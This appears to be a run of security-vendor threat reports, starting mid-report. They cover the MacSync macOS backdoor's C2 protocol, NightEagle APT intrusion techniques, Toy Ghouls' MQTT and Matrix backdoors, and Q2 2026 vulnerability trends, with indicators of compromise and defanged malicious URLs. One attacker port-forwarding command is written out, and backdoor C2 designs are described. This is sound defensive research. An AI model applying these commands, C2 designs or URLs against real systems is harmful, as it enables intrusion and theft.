As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executable’s overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:

• AGNT1: a magic constant confirming that the configuration was decrypted correctly
• C2 server URL
• Access token: the same one used in the parent script
• BLD-150: the backdoor build number

The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The server’s response should be a JSON file.

Method	URL path	Request parameters	Description
GET	/v1/agent/ping	tag: the victim’s unique ID combined with the backdoor build number build: backdoor build number	Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST	/v1/agent/refresh	tag build old_token: previous token	The response is expected to contain an upload_token field, whose value becomes the new token.
POST	/v1/asset/<upload_id>/init	upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number	Used to create a file on the server, into which the file from the victim’s device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT	/v1/asset/<upload_id>		The request that actually uploads the file to the server.
POST	/v1/agent/<command_status>	command_status: a status unique to the commands the agent executes tag upload_id: the ID of the file uploaded to the server (if any) phase: information about the command being executed or its stage message: a message active: command in-progress flag (true = still running; false = finished)	This URL endpoint is accessed at various stages of the backdoor’s operation. Information about command execution status serves as a telemetry source for the attackers.

Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the server’s response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:

• deploy_ext: deploy an extension downloaded from the server into the victim’s browser.
• deploy_ledger: replace the installed Ledger wallet with the version from the server.
• regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
• live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if it’s not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victim’s browser.

Takeaways

The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealer’s and backdoor’s main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. It’s also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Apple’s infrastructure as one of the intermediate stages for delivering the malicious payload.

The nature of the data attackers seek to collect from a victim’s device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSync’s compromise of software developers’ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.

Indicators of compromise

Stage one loader
26a0f7cdb9f7dc5ace9a40af825b1538
2d69812584269699fade26622e6490c5
7df1049cbd56c0bfa4a3364a379b4c2c
9f15fe9c4415cd668334339f705b94d8
fb90887592655a8c989e443c640167aa
6791dad263cac6d63ebba6a4b57e7d71

Malicious calendar (stage two)
3ded1d71a822b53b12c3b67bcaf633f5

Stage three dropper
781ce50001d4b449600afa347c9b0208
8e84b01d5ac9624f0b181ade0e737193
980e2134679bc0c609f7659882883d77
4203ec932bfcc0907f91732440d6d997
eb760d5c88f13f7ee0f8f86ba3407123
f9f70096aabb4d22a6657014f4853a53

Stage four dropper
3deeed48fd38f22e369f5c3092bd68a1

Stage five script
f97d24212fa6a21be0c4d211e10f044c

Stage six script
00d12d842596bf5ee1805effb4571d30
9a0043d900a9ac78c886c59c9a328fd0

Auxiliary .repair-run script
7212229c85852c3bffaf9740002b2f39

Infostealer
c53d0ea45dbc622afb7f16ea3eec78bc

Backdoor
fc3ba5ed282d77127efd0b0f2403531b

Auxiliary autorun tool
8dc8561349d144d4661bc66f2ec49f9f

URL
hxxps://toria[.]app/
hxxps://warpcast[.]asia/Toria.dmg
hxxps://streamyard.appstore.com[.]mx/installer.sh
hxxps://slack.apple03cloudstore[.]com/installer.sh
hxxps://toria.apple03cloudstore[.]com/
hxxps://waaako.appstore.com[.]mx/installer.sh
hxxps://toria.apple03cloudstore[.]com/e3c1a6b00bc31e14/stage2.enc hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/stage2.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/CoreUpdate.pkg.enc
hxxps://docsend.appstore.com[.]mx/dcc737d157ef4271/Helper.pkg.enc
hxxps://caldav.icloud[.]com/published/2/MTk1NDMwMDMzNTUxOTU0M1aHCZ-nMxiyGzBTzPiodOf44DtKJ6PpjftAG28_ui2NCYMpL_vu4pF4ddsJ8ysg0QI7pR0VEIEbZYdilVZRw08
hxxps://gateway.icloud[.]com/caldav/1_MTk1NDMwMDMzNTUxOTU0M0pybtJB186GzhogprwCQUjY3oZNiDFHH8WVo6bmgUtI/attach/4GE4TKNBTGAYDGMZVGUYTSNJUGOAALDAFMDOJBGWNUCYJLZRNDCLCO2YMQ3I64RLGMNXVG3KYBPWQOGYIEI7MPBDDYHECFDYVENTXIYFNDCPOVRMCTYI236RCYZAE63V5U3RTUYGUMO2CO7PKCLWMCXE73M7OPTHSGRWH5DXQ4PCUQU4ELZTLW54JSTK2H7VQ6PD26WOA2R7PPIQ6RTJWDEWP34U3HB4YWMXXC6EJ6PKWILSPYRSDEVY6QGMWSIUN6PR5W35KO3D4QZE7CFPUVBAEKI/Loader.app.tar.gz/YXR0YWNoYXR0YWNoYXR0YRhrE8mQ0E-b_dTUSGStQgTQ0ULFxCanei3Ke-EuEyQL

C2
hxxps://docsend.appstore[.]com[.]mx
hxxps://toria.apple03cloudstore[.]com

Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.

Initial access

In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.

GhostContainer on Microsoft Exchange

Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.

We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.

The backdoor is a .NET assembly containing three classes that implement its core functionality:

• Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
• App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
• App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.

Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.

Traffic redirection

Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.

The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:

• https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/js-webpack.zip
• https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/jsonp-pack.zip
• https://github[.]com/browserthemes/resourcepack/releases/download/main/resource-pack.zip

The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:

• adobe_32.exe;
• AdobeSync.exe;
• trueconf.exe;
• 1cbroker.exe;
• 1c-office-plugin.exe;
• trueconf-broker.exe.

Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.

1. Microsoft dev tunnels
   This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.
   

   Execution graph of adobe_32.exe in Kaspersky Research Sandbox

2. rdp2tcp
   This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attacker’s side.

   When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.

   When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.

   

   Creation event for a channel named rdp2tcp (server component startup)

The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.

The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:

netsh interface portproxy add v4tov4 listenport=443 connectaddress=10.0.12.101 connectport=445

Lateral movement

To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.

In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.

The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.

Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victim’s entire Active Directory infrastructure.

Takeaways

To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the group’s efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagle’s presence on the network.

Detection by Kaspersky solutions

Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kaspersky’s collection.

The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:

However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.

This malicious activity is detected by the following rules, available in the repository:

• Initial detection of the malicious signature occurs through the generic_ransomware_related_detection rule, based on EPP module events
• Detection of a malicious DLL’s .NET assembly being loaded via PowerShell: suspicious_assembly_loading_into_powershell_via_reflection
• Activity of tunneling and traffic redirection tools: detection_of_access_to_tunnel_domains_dns
• Use of tools from the Impacket toolkit, such as atexec:
  • impacket_possible_activity
  • attempt_to_download_hacktool_or_risktool_by_non_browser
  • credentials_dumping_tools_file_artifacts_creation
• Attempts to replicate an Active Directory database object to impersonate a domain controller: potential_dcsync_via_startupparameters

Kaspersky Anti Targeted Attack (KATA) detects this malicious activity in network traffic. For example, the Exploit.CVE-2019-0708.TCP.C&C signature allows detecting attempts to exploit the CVE-2019-0708 (BlueKeep) vulnerability.

Beyond this activity, KATA also detects other NightEagle actions in network traffic, such as the following:

• Traffic redirection and tunneling variations
• Attacks on Active Directory (DCSync, attempts to compromise AD CS, and others)
• Lateral movement across the network

Indicators of compromise

1dcafb7f8448683281106b06dd22409a	AdobeSync.exe
1f3034b706c78b35d8e34044e68c693a	adobe_32.exe
3ecd1cd627d0340c92901a478a7caad8 631fb131a56caf4ca0f287ed73e876ab	App_Web_Container_1.dll
4aa9fb1bf9223dfcdac920759bc7a3c7	1c-office-plugin.exe, 1cbroker.exe, trueconf.exe
https://github[.]com/mirror-js/mirror-js
https://github[.]com/browserthemes/resourcepack

Introduction

We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.

We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:

• mqtt-bird-agent 0.1.0 (HiveMQ version)
• matrix-bird-agent 0.1.0 (Element version)

This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.

Technical details

Delivery

In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.

Installation

The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.

Other launch options are listed in the backdoor’s help output:

C:\cplsupport.exe -h
Bird Agent - MQTT server monitor
Usage: cplsupport.exe [OPTIONS]

Options:
-c, --config <CONFIG> Path to config.toml config file
--install Install as a system service
--uninstall Uninstall the system service
--seal Encrypt sensitive config fields in-place using a machine-bound key
-h, --help Print help
-V, --version Print version

HiveMQ version backdoor help output

In the Element version, the backdoor help output looks as follows:

C:\wtass.exe -h
Matrix monitoring agent

Usage: wtass.exe [OPTIONS] [COMMAND]

Commands:
  install    Register this agent with the Matrix homeserver and panel
  uninstall  Remove this agent's service and credentials
  service    Run as a Windows service (internal)
  help       Print this message or the help of the given subcommand(s)

Options:
  -c, --config <CONFIG>
  -h, --help             Print help
  -V, --version          Print version

Element version backdoor help output

By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.

The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.

If the configuration cannot be decrypted, the backdoor stops running.

Encrypted configuration files look as follows:

The encrypted portion of the HiveMQ version’s configuration contains the following parameters:

• agent_privkey: the agent’s private key
• channel_id: the channel identifier used to communicate with the broker
• server_pubkey: the server’s public key

In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.

The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.

Communication

At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.

The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.

• Once a connection is established, the system’s status is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/status. The message format is: {"online":bool,"hostname":"hostname.domain","timestamp":unix_timestamp,"location":{"json"}}.
• At intervals defined in the configuration file, system information, such as CPU load and available memory, is sent via a POST request to broker.hivemq.com:8883/[cluster_id]/metrics3. The message format is: {cpu_percent":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m":float,"load_5m":float,"load_15m":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• The backdoor sends GET requests to broker.hivemq.com:8883/[cluster_id]/cmd/req to retrieve commands from the C2 server. The server responds in the format: {"cmd_id":int,"command":"str","timeout_secs":int}.
• Commands are executed via PowerShell.exe in hidden mode, using the -NonInteractive -NoProfile -Command parameters.
• Command execution results are sent to the command server at broker.hivemq.com:8883/[cluster_id]/cmd/res in the {"stdout":"str","stderr":"str","exit_code":int,"duration_ms":int} format.

For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:

• Once a connection is successfully established, the backdoor sends an m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.
• At intervals defined in the configuration file, information about the compromised system is sent as an m.bird.metrics message. Field names are slightly different from those in the first version: {cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.
• This version of the backdoor supports two types of commands, distinguished by the start of the received message.
  • To set a new interval for sending metrics, the attackers send a message beginning with config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.
  • Messages containing commands to execute begin with the string cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.
• Received commands are executed via the Windows command line interface.
• Command output is sent as an m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.

Takeaways

We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.

Indicators of compromise

Kaspersky security solution verdicts:

• HEUR:Backdoor.Win64.Suptoml.gen
• HEUR:Trojan.Script.Zapchast.conf
• Backdoor.Win64.Agent.smgdvy
• Trojan.Script.Zapchast.abwm
• Trojan.Win64.Agent.smgsfo
• Trojan.Script.Zapchast.abwo

File names and MD5 hashes:

• cplsupport.exe (BFADBEEE63A4F0BF19EC9DEB8FA58F58)
• wtass.exe (7916C33688385525078BEE504C90F359)
• config.toml

Registry keys:

• HKLM\Software\synapse\Config\SealedConfig
• HKLM\Software\SynapseAgent\metrics_interval

Service names:

• cplsupport (Problem Reports Control Panel)
• wtas (Windows Telemetry Aggregator Service)

Domain names:

• meet.element[.]tw
• broker.hivemq.com (a legitimate resource used by cybercriminals)
• ip-api.com (a legitimate resource used by cybercriminals)

The vulnerability landscape shifted significantly in Q2 2026. First, the number of registered CVEs reached an unprecedented level. This is driven primarily by the widespread adoption of AI, both for application development and search for security flaws. This resulted in entire new classes of vulnerabilities emerging, particularly in the Linux networking subsystem.

Second, security researchers have been publishing exploits for unpatched vulnerabilities more frequently. Publications like these can generate significant fallout, since they potentially open the door for attackers to target unprotected systems.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data comes from Kaspersky’s vulnerability knowledge base, which draws on the CVE database as well as the Russian BDU database and GitHub Advisory (GHSA). As a result, the figures for previous reporting periods may differ from those published in earlier reports.

We examine the number of registered vulnerabilities for each month over the last five years. As the chart below shows, this number continues to surge, a trend reflected across all the databases we track. It’s driven primarily by the widespread adoption of AI tools: as we predicted in our previous report, these tools have played a major role in the discovery of vulnerabilities in third-party software. Meanwhile, these tools often contain security issues of their own. For example, OpenClaw, a popular AI project, ranked 12th among those with the highest number of vulnerabilities discovered and published in Q2, with over 200 CVEs registered during the reporting period. Finally, AI development tools are also contributing to the vulnerability landscape, since the quality of the code they produce can vary widely. Therefore, the rate at which new vulnerabilities are discovered will inevitably keep growing.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 9.0) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

As the chart shows, the number of published critical vulnerabilities jumped sharply in Q2. This is because using AI for vulnerability research makes it possible to analyze massive amounts of previously unexamined code, uncover new attack surfaces, and identify entire classes of vulnerabilities that have gone unnoticed for decades. In particular, AI was used to find a series of Dirty Frag vulnerabilities in the Linux kernel.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q2 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

Q2 2026 saw a new precedent in the publication of vulnerabilities in Windows components and exploits for these: researchers no longer waiting for CVE registration, let alone patches. A case in point: a researcher who goes by Nightmare Eclipse (also known as Chaotic Eclipse) published a list of new “named” vulnerabilities across various Windows subsystems. At the time the technical details were published, none of the vulnerabilities had been assigned a CVE identifier:

• BlueHammer: a local privilege escalation vulnerability in Windows Defender. During signature database updates, a time-of-check to time-of-use (TOCTOU) race condition occurs, allowing an attacker to substitute the directory where temporary update files are written. The researcher published a fully functional exploit for the vulnerability.
• RedSun: another logical vulnerability in Windows Defender with a working exploit. Suspicious and malicious files marked as “cloud” can be overwritten or restored to their original directory with elevated privileges. The exploit incorporates fragments of algorithms that make it possible to leverage various logical vulnerabilities in Windows, effectively combining a large number of popular exploitation techniques.
• YellowKey: a vulnerability that lets the user bypass BitLocker full-disk encryption and access system data through the Windows Recovery Environment (WinRE). A fully functional exploit was also published.
• GreenPlasma: a vulnerability that enables system object injection via the CTF loader for the Collaborative Translation Framework (CTFMON) service in Windows. The original publication included an exploit with limited functionality.
• RoguePlanet: yet another Windows Defender vulnerability that, like BlueHammer, stems from a TOCTOU issue, this time in the engine responsible for real-time system scanning. The published exploit uses the vulnerability to overwrite the system file wermgr.exe with a malicious one.
• UnDefend: another vulnerability in the Windows Defender service. This time, the exploit causes a denial of service and blocks updates.

Even though such cases remain isolated for now, we believe they’ll grow into a full-fledged trend. Early publication of exploits gives attackers an advantage over software developers, who are left with no time to fix the issues.

Veteran vulnerabilities in Windows software also remain relevant. These are the ones our solutions most frequently detect exploits for:

• CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
• CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
• CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within an archive
• CVE-2025-6218 (formerly ZDI-CAN-27198): another WinRAR vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
• CVE-2025-8088: a vulnerability similar in exploitation method to CVE-2025-6218. The attackers used NTFS Streams to circumvent controls on the directory into which files are being unpacked

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

That said, the number of Windows users who encountered exploits declined slightly in Q2, hitting an 18-month low.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.

All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:

• CVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments
• CVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root
• CVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family
• CVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification
• CVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism
• CVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root

The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:

• CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
• CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.

Most common published exploits

The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.

Distribution of published exploits by platform, Q1 2026 (download)

Distribution of published exploits by platform, Q2 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)

In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)

Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

• CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps
• CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process
• CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
• CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism
• CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
• CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user

These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.

LLM/AI tool vulnerabilities

This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.

As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.

The chart below covers registered vulnerabilities in AI tools for 2025–2026.

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:

Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.

Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:

• Inadequate access control over critical system objects
• Improper implementation of authentication and authorization mechanisms
• Injections

It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.

